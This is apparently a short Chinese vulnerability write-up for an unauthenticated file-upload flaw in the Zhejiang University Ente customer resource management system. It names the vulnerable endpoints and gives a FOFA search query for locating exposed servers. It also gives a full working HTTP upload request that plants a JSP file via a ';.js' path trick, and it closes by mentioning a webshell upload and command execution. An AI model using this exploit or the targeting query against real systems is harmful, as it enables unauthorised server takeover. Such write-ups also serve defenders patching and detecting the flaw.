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Published on 2024-08-30 / 1 Visits
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Z1-8浙大恩特-客户资源管理系统-文件上传

Z1-8浙大恩特-客户资源管理系统-文件上传

漏洞描述:

浙大恩特客户资源管理系统中fileupload.jsp、CustomerAction.entphone、MailAction.entphone、machord_doc.jsp等接口处存在文件上传漏洞,未经身份认证的攻击者可以上传任意后门文件,最终可导致服务器失陷。

网站图片:

image-20240624184323796

网络测绘:

fofa语法:

FOFA:app=“浙大恩特客户资源管理系统”

漏洞复现:

payload:

POST /entsoft_en/Storage/machord_doc.jsp;.js?formID=upload&machordernum=&fileName=4.jsp&strAffixStr=&oprfilenam=null&gesnum= HTTP/1.1
Host: your-ip
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQzxXQpKIb1f32N11
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.111 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryQzxXQpKIb1f32N11
Content-Disposition: form-data; name="oprfilenam"

null
------WebKitFormBoundaryQzxXQpKIb1f32N11
Content-Disposition: form-data; name="uploadflg"

0
------WebKitFormBoundaryQzxXQpKIb1f32N11
Content-Disposition: form-data; name="strAffixStr"


------WebKitFormBoundaryQzxXQpKIb1f32N11
Content-Disposition: form-data; name="selfilenam"


------WebKitFormBoundaryQzxXQpKIb1f32N11
Content-Disposition: form-data; name="uploadfile"; filename="4.jsp"
Content-Type: image/png

<%out.print("test-PoC-4");%>
------WebKitFormBoundaryQzxXQpKIb1f32N11--

效果图:
上传后响应体查找上传的的文件名,会发现上传路径
尝试验证

漏洞利用(上传马子)

命令执行


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